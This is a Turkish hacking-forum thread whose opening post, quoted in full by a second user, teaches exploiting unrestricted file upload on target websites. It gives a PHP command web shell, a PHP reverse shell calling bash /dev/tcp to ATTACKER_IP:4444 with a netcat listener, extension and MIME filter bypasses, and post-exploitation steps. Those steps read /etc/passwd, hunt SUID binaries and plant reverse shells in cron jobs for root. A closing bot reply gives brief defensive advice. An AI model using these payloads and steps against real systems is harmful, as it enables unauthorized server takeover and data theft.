Hoşgeldin Misafir

2025 En Tehlikeli Açıklardan Biri — Dosya Yükleme Zafiyeti ve Reverse Shell Erişimi (File Upload RCE)

fitpackgirl

Montenegro
3 May 2025
404 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
ChatGPT-Image-12-Nis-2025-23_13_49.png

Dosya Yükle​

Web sitelerinde “dosya yükle” alanı gördüğünde gözün parlasın çünkü bu, birçok sistemde filtreleme hataları yüzünden sisteme sızmanın en kolay yollarından biri olabilir. Bu zafiyetin adı: Unrestricted File Upload Vulnerability.
Yani site, sadece .jpg yüklenebilir dese bile, aslında arka kapıdan .php shell dosyası bile sokabiliyor olabilirsin.

1. Dosya Yükleme Açığını Anlamak: “Neye İzin Veriliyor?”​

İlk adım, sitenin hangi dosya türlerini kabul ettiğini tespit etmektir.

Test edilecek dosya uzantıları:​

.php, .php3, .phtml, .asp, .jsp, .exe

Masum gibi göster ama tehlikeli olanlar:​

resim.php.jpg
komik-goruntu.png.php


şimdi deneme amaçlı yani sunucuda böyle bir açık var mı diye basit bir kod yazıyoruz ve bu kodu olduğu gibi bir php dosyasına kaydedin ve yükleme yerine yükleyin:


<?php system($_GET['cmd']); ?>

Ve yüklediğini varsayalım, ve url ye şunu yazın tabi hedef sitenin isimini yazın :


Eğer terminal komutu çalışıyorsa, sistemin içine girdin demektir.
understanding-reverse-shells-1024x538.jpg

2. Gerçek Tehlike: Reverse Shell ile Sunucuyu Hacklemek

Reverse Shell, sistemden saldırgana ters bağlantı başlatır. Yani senin makinan shell alır, sistem sana bağlanır.

Reverse Shell Nasıl Oluşturulur?

Yol 1 — revshells.com kullan:

  • IP: kendi IP adresini yaz.
  • Port: genelde 4444 iyidir.
  • “Generate” de, hop shell dosyası hazır.

    Alternatif: Kendi PHP shell dosyan:
    <?php
    exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
    ?>


    ATTACKER_IP kısmına Kali makinenin IP’si gelecek. Port olarak 4444 kullanabilirsin.


  • Netcat.png

    3. Dinlemeye Geç: Netcat ile Bağlantı Bekle​

    Kali’de terminali aç ve shell bekle:


    nc -lvnp 4444

    Bu komut, 4444 portunu dinlemeye alır. Artık saldırıdan sonra sistem sana bağlandığında burada shell düşer.


    4. Dosyayı Yükle ve Shell’i Çalıştır

    Shell içeren .php dosyanı yükle. Eğer yüklendiği dizin mesela şöyleyse:


    URL’yi tarayıcıda aç → Netcat ekranına düşen komut satırıyla sisteme giriş yapmış olursun.


    Örnek çıktı:

    bash-4.2$ whoami
    www-data


    eğer bu yazıyı gördüysen artık içerdesin sistemin Tebrikler


    5. Filtreleri Atlama Teknikleri

    Bazı web uygulamaları, upload’da filtre kullansa da yine de delik bırakır.


    MIME Spoofing:​

    • Dosyayı shell.php, ama içeriğini image/jpeg gibi göster.
    • Bazı sistemler uzantıya değil, MIME türüne bakar.
  • Null Byte Bypass:

    • resim.php%00.jpg gibi isimlerle dene.

    • %00 ile sistem PHP kısmını dikkate alabilir, jpg‘yi atlar.
  • Duble Uzantı:​

    • shell.jpg.php veya shell.php.png tarzı uzantı oyunları sistemin kafasını karıştırabilir.

  • 6. Shell Alınca Ne Yapılır?​

    Shell aldın, şimdi napıyoruz?


    Sistemi tanı:​

    uname -a # OS bilgisi
    id # Kullanıcı
    ls /home # Kullanıcı dizinleri
    cat /etc/passwd # Kullanıcı listesi
    sudo -l # Sudo yetkisi var mı?



    7. Yetki Yükseltme (Privilege Escalation)

    Sunucuda root olmak istiyorsan, sıradaki hamleler şunlar:

    SUID Binary Avı:

    find / -perm -u=s -type f 2>/dev/null

    Root yetkili binary’leri listeler. Bazıları seni root’a sokabilir.

    Cron Job’ları Kurcalama:

    ls -la /etc/cron*

    Eğer çalıştırılabilir script varsa, içine reverse shell kodu gömüp root olabilirsin.


    Sudo Exploit:

    sudo -l

    Eğer sudo su çalışıyorsa, root oldun demektir.


    8. Reverse Shell Kaynakları

    Sana hayat kurtaracak birkaç site bırakıyorum:
 

vatanhub1

15 Eyl 2025
107 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
ChatGPT-Image-12-Nis-2025-23_13_49.png

Dosya Yükle​

Web sitelerinde “dosya yükle” alanı gördüğünde gözün parlasın çünkü bu, birçok sistemde filtreleme hataları yüzünden sisteme sızmanın en kolay yollarından biri olabilir. Bu zafiyetin adı: Unrestricted File Upload Vulnerability.

1. Dosya Yükleme Açığını Anlamak: “Neye İzin Veriliyor?”​

İlk adım, sitenin hangi dosya türlerini kabul ettiğini tespit etmektir.

Test edilecek dosya uzantıları:​

.php, .php3, .phtml, .asp, .jsp, .exe

Masum gibi göster ama tehlikeli olanlar:​

resim.php.jpg
komik-goruntu.png.php


şimdi deneme amaçlı yani sunucuda böyle bir açık var mı diye basit bir kod yazıyoruz ve bu kodu olduğu gibi bir php dosyasına kaydedin ve yükleme yerine yükleyin:


<?php system($_GET['cmd']); ?>

Ve yüklediğini varsayalım, ve url ye şunu yazın tabi hedef sitenin isimini yazın :


Eğer terminal komutu çalışıyorsa, sistemin içine girdin demektir.
understanding-reverse-shells-1024x538.jpg

2. Gerçek Tehlike: Reverse Shell ile Sunucuyu Hacklemek

Reverse Shell, sistemden saldırgana ters bağlantı başlatır. Yani senin makinan shell alır, sistem sana bağlanır.

Reverse Shell Nasıl Oluşturulur?

Yol 1 — revshells.com kullan:

  • IP: kendi IP adresini yaz.
  • Port: genelde 4444 iyidir.
  • “Generate” de, hop shell dosyası hazır.

    Alternatif: Kendi PHP shell dosyan:
    <?php
    exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
    ?>


    ATTACKER_IP kısmına Kali makinenin IP’si gelecek. Port olarak 4444 kullanabilirsin.


  • Netcat.png

    3. Dinlemeye Geç: Netcat ile Bağlantı Bekle​

    Kali’de terminali aç ve shell bekle:


    nc -lvnp 4444

    Bu komut, 4444 portunu dinlemeye alır. Artık saldırıdan sonra sistem sana bağlandığında burada shell düşer.


    4. Dosyayı Yükle ve Shell’i Çalıştır

    Shell içeren .php dosyanı yükle. Eğer yüklendiği dizin mesela şöyleyse:


    URL’yi tarayıcıda aç → Netcat ekranına düşen komut satırıyla sisteme giriş yapmış olursun.


    Örnek çıktı:

    bash-4.2$ whoami
    www-data


    eğer bu yazıyı gördüysen artık içerdesin sistemin Tebrikler


    5. Filtreleri Atlama Teknikleri

    Bazı web uygulamaları, upload’da filtre kullansa da yine de delik bırakır.


    MIME Spoofing:​

    • Dosyayı shell.php, ama içeriğini image/jpeg gibi göster.
    • Bazı sistemler uzantıya değil, MIME türüne bakar.
  • Null Byte Bypass:

    • resim.php%00.jpg gibi isimlerle dene.

    • %00 ile sistem PHP kısmını dikkate alabilir, jpg‘yi atlar.
  • Duble Uzantı:​

    • shell.jpg.php veya shell.php.png tarzı uzantı oyunları sistemin kafasını karıştırabilir.

  • 6. Shell Alınca Ne Yapılır?​

    Shell aldın, şimdi napıyoruz?


    Sistemi tanı:​

    uname -a # OS bilgisi
    id # Kullanıcı
    ls /home # Kullanıcı dizinleri
    cat /etc/passwd # Kullanıcı listesi
    sudo -l # Sudo yetkisi var mı?



    7. Yetki Yükseltme (Privilege Escalation)

    Sunucuda root olmak istiyorsan, sıradaki hamleler şunlar:

    SUID Binary Avı:

    find / -perm -u=s -type f 2>/dev/null

    Root yetkili binary’leri listeler. Bazıları seni root’a sokabilir.

    Cron Job’ları Kurcalama:

    ls -la /etc/cron*

    Eğer çalıştırılabilir script varsa, içine reverse shell kodu gömüp root olabilirsin.


    Sudo Exploit:

    sudo -l

    Eğer sudo su çalışıyorsa, root oldun demektir.


    8. Reverse Shell Kaynakları

    Sana hayat kurtaracak birkaç site bırakıyorum:
teşekkürler
 

THS-AI

THS-AI

THS YAPAY ZEKA
Turkhacks Kurumsal
20 Haz 2025
11,254 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Dosya yükleme güvenliğini güçlendirin. Dosya tipi ve boyut kontrolü yapın, sunucu tarafı doğrulama ve sandbox kullanın. Ayrıca, sunucunuza alınan dosyaların güvenliğini tarayın ve sürekli güncellemeleri takip edin. Bu önlemler, RCE ve reverse shell saldırılarını engeller.